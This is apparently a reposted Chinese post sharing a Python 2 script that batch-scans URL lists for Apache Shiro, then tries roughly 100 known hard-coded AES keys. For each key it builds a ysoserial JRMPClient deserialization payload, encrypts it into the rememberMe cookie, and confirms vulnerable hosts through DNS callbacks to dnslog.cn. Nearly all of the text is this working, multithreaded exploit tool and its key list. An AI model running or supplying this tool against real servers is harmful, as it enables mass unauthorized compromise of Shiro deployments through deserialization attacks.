Shiro 存活以及100key批量扫描
Github地址
: https://github.com/saltyfishyu/Shiro_Alive_keys_can
# -*- encoding: utf-8 -*-
# author : yuf1sher
import os
import re
import base64
import uuid,time
import subprocess
import requests,sys
from Crypto.Cipher import AES
import random,argparse,Queue,threading
import warnings
import requests
warnings.filterwarnings("ignore")
JAR_FILE = './ysoserial.jar'
scan_count = 0
vuln_count = 0
success = []
session = requests.Session()
def poc(url, rce_command,key_):
if '://' not in url:
target = 'https://%s' % url if ':443' in url else 'http://%s' % url
else:
target = url
try:
payload = generator(rce_command, JAR_FILE,key_) # 生成payload
r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10,verify=False) # 发送验证请求
except Exception, e:
return True
return True
def generator(command, fp,key_):
if not os.path.exists(fp):
raise Exception('jar file not found!')
popen = subprocess.Popen(['java', '-jar', fp, 'JRMPClient', command],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key_), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
#取得随机数
def random_str(len):
str1 = ""
for i in range(len):
str1 += (random.choice("QWERTYUIOPASDFGHJKLZXCVBNM1234567890"))
return str(str1)
def getdomain():
try :
ret = session.get("http://www.dnslog.cn/getdomain.php?t="+str(random.randint(100000,999999)),timeout=10).text
except Exception as e:
print("getdomain error:" + str(e))
ret = "error"
pass
return ret
def getrecord():
try :
ret = session.get("http://www.dnslog.cn/getrecords.php?t="+str(random.randint(100000,999999)),timeout=10).text
#print(ret)
except Exception as e:
print("getrecord error:" + str(e))
ret = "error"
pass
return ret
def getdnshost():
reversehost = ""
try :
domain = getdomain()
if domain=="error":
print("getdomain error")
else:
#reversehost = "http://" +domain
reversehost = domain
#print("got reversehost : " + reversehost)
except:
pass
return reversehost
def detect(url_list):
shiro_url_list = []
for url in url_list:
if '://' not in url:
target = 'https://%s' % url if ':443' in url else 'http://%s' % url
else:
target = url
try:
r = requests.post(target, cookies={'rememberMe': '1'}, timeout=10,verify=False)
except Exception, e:
pass
headers = r.headers.get('Set-Cookie')
if not headers is None:
if 'rememberMe=deleteMe' in headers:
shiro_url_list.append(target)
print "[+] Detect Shiro url: %s." % (target)
else:
print "[-] Detect Valid Shiro url: %s." % (target)
return shiro_url_list
def check_vuln():
key = {
"kPH+bIxk5D2deZiIxcaaaA==",
"4AvVhmFLUs0KTA3Kprsdag==",
"Z3VucwAAAAAAAAAAAAAAAA==",
"fCq+/xW488hMTCD+cmJ3aQ==",
"0AvVhmFLUs0KTA3Kprsdag==",
"1AvVhdsgUs0FSA3SDFAdag==",
"1QWLxg+NYmxraMoxAXu/Iw==",
"25BsmdYwjnfcWmnhAciDDg==",
"2AvVhdsgUs0FSA3SDFAdag==",
"3AvVhmFLUs0KTA3Kprsdag==",
"3JvYhmBLUs0ETA5Kprsdag==",
"r0e3c16IdVkouZgk1TKVMg==",
"5aaC5qKm5oqA5pyvAAAAAA==",
"5AvVhmFLUs0KTA3Kprsdag==",
"6AvVhmFLUs0KTA3Kprsdag==",
"6NfXkC7YVCV5DASIrEm1Rg==",
"6ZmI6I2j5Y+R5aSn5ZOlAA==",
"cmVtZW1iZXJNZQAAAAAAAA==",
"7AvVhmFLUs0KTA3Kprsdag==",
"8AvVhmFLUs0KTA3Kprsdag==",
"8BvVhmFLUs0KTA3Kprsdag==",
"9AvVhmFLUs0KTA3Kprsdag==",
"OUHYQzxQ/W9e/UjiAGu6rg==",
"a3dvbmcAAAAAAAAAAAAAAA==",
"aU1pcmFjbGVpTWlyYWNsZQ==",
"bWljcm9zAAAAAAAAAAAAAA==",
"bWluZS1hc3NldC1rZXk6QQ==",
"bXRvbnMAAAAAAAAAAAAAAA==",
"ZUdsaGJuSmxibVI2ZHc9PQ==",
"wGiHplamyXlVB11UXWol8g==",
"U3ByaW5nQmxhZGUAAAAAAA==",
"MTIzNDU2Nzg5MGFiY2RlZg==",
"L7RioUULEFhRyxM7a2R/Yg==",
"a2VlcE9uR29pbmdBbmRGaQ==",
"WcfHGU25gNnTxTlmJMeSpw==",
"OY//C4rhfwNxCQAQCrQQ1Q==",
"5J7bIJIV0LQSN3c9LPitBQ==",
"f/SY5TIve5WWzT4aQlABJA==",
"bya2HkYo57u6fWh5theAWw==",
"WuB+y2gcHRnY2Lg9+Aqmqg==",
"kPv59vyqzj00x11LXJZTjJ2UHW48jzHN",
"3qDVdLawoIr1xFd6ietnwg==",
"ZWvohmPdUsAWT3=KpPqda",
"YI1+nBV//m7ELrIyDHm6DQ==",
"6Zm+6I2j5Y+R5aS+5ZOlAA==",
"2A2V+RFLUs+eTA3Kpr+dag==",
"6ZmI6I2j3Y+R1aSn5BOlAA==",
"SkZpbmFsQmxhZGUAAAAAAA==",
"2cVtiE83c4lIrELJwKGJUw==",
"fsHspZw/92PrS3XrPW+vxw==",
"XTx6CKLo/SdSgub+OPHSrw==",
"sHdIjUN6tzhl8xZMG3ULCQ==",
"O4pdf+7e+mZe8NyxMTPJmQ==",
"HWrBltGvEZc14h9VpMvZWw==",
"rPNqM6uKFCyaL10AK51UkQ==",
"Y1JxNSPXVwMkyvES/kJGeQ==",
"lT2UvDUmQwewm6mMoiw4Ig==",
"MPdCMZ9urzEA50JDlDYYDg==",
"xVmmoltfpb8tTceuT5R7Bw==",
"c+3hFGPjbgzGdrC+MHgoRQ==",
"ClLk69oNcA3m+s0jIMIkpg==",
"Bf7MfkNR0axGGptozrebag==",
"1tC/xrDYs8ey+sa3emtiYw==",
"ZmFsYWRvLnh5ei5zaGlybw==",
"cGhyYWNrY3RmREUhfiMkZA==",
"IduElDUpDDXE677ZkhhKnQ==",
"yeAAo1E8BOeAYfBlm4NG9Q==",
"cGljYXMAAAAAAAAAAAAAAA==",
"2itfW92XazYRi5ltW0M2yA==",
"XgGkgqGqYrix9lI6vxcrRw==",
"ertVhmFLUs0KTA3Kprsdag==",
"5AvVhmFLUS0ATA4Kprsdag==",
"s0KTA3mFLUprK4AvVhsdag==",
"hBlzKg78ajaZuTE0VLzDDg==",
"9FvVhtFLUs0KnA3Kprsdyg==",
"d2ViUmVtZW1iZXJNZUtleQ==",
"yNeUgSzL/CfiWw1GALg6Ag==",
"NGk/3cQ6F5/UNPRh8LpMIg==",
"4BvVhmFLUs0KTA3Kprsdag==",
"MzVeSkYyWTI2OFVLZjRzZg==",
"CrownKey==a12d/dakdad",
"empodDEyMwAAAAAAAAAAAA==",
"A7UzJgh1+EWj5oBFi+mSgw==",
"YTM0NZomIzI2OTsmIzM0NTueYQ==",
"c2hpcm9fYmF0aXMzMgAAAA==",
"i45FVt72K2kLgvFrJtoZRw==",
"U3BAbW5nQmxhZGUAAAAAAA==",
"ZnJlc2h6Y24xMjM0NTY3OA==",
"Jt3C93kMR9D5e8QzwfsiMw==",
"MTIzNDU2NzgxMjM0NTY3OA==",
"vXP33AonIp9bFwGl7aT7rA==",
"V2hhdCBUaGUgSGVsbAAAAA==",
"Z3h6eWd4enklMjElMjElMjE=",
"Q01TX0JGTFlLRVlfMjAxOQ==",
"ZAvph3dsQs0FSL3SDFAdag==",
"Is9zJ3pzNh2cgTHB4ua3+Q==",
"NsZXjXVklWPZwOfkvk6kUA==",
"GAevYnznvgNCURavBhCr1w==",
"66v1O8keKNV3TTcGPK1wzg==",
"SDKOLKn2J1j/2BHjeZwAoQ=="
}
global scan_count,vuln_count
while True:
try :
web_url = queue.get(timeout=0.1)
scan_count+=1
except:
break
try:
for key_ in key:
random_str_ = random_str(8)
connect = poc(web_url,random_str_ + "." + domain,key_)
print "[*] Trying url:%s , key:%s. " % (web_url,key_)
if connect == False:
break
result = getrecord()
if (random_str_ + '.' + domain) in result:
print "[+200] vuln apache shiro",web_url,key_
success.append((web_url,key_))
vuln_count+=1
break
else:
pass
except Exception,e:
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter,
description='Apache Shiro Scanner.',
usage='scan.py [optional]')
parser.add_argument('-f',metavar='File',type=str,default='url.txt',help='Put Web url in url.txt')
parser.add_argument('-u',metavar='Url',type=str,help='Put a Web url')
parser.add_argument('-t',metavar='THREADS',type=int,default='10',help='Num of scan threads,default 10')
#global domain, reversehost
global domain
domain = getdnshost()
#if domain:
# reversehost = "http://" + domain
# print "[*] domain: %s. reversehost: %s." % (domain, reversehost)
print "[*] domain: %s." % (domain)
if len(sys.argv)==1:
sys.argv.append('-h')
args = parser.parse_args()
start_time = time.time()
detect_web_url = []
shiro_web_url = []
if args.u is None:
for web_url in open(args.f).xreadlines():
web_url = web_url.strip()
if not web_url:
continue
detect_web_url.append(web_url)
shiro_web_url = detect(detect_web_url)
print "[*] Detect Shiro_web_url: %s." % (shiro_web_url)
if shiro_web_url != []:
#将存在shiro的url放入队列
queue = Queue.Queue()
for web_url in shiro_web_url:
queue.put(web_url)
#for web_url in open(args.f).xreadlines():
# web_url = web_url.strip()
# if not web_url:
# continue
# queue.put(web_url)
#开启多线程访问
threads = []
for i in range(args.t):
t = threading.Thread(target=check_vuln)
threads.append(t)
t.start()
for t in threads:
t.join()
else:
queue = Queue.Queue()
queue.put(args.u)
check_vuln()
print ('[+] Done. %s weburl scanned %s available %.1f seconds.' % (scan_count,vuln_count,time.time() - start_time))
print "/n"
for success_list in success:
print "[+] Vuln urls:%s, key:%s." % (success_list[0],success_list[1])
https://github.com/Stu2014/scan/blob/master/shiro_scan.py
https://github.com/insightglacier/Shiro_exploit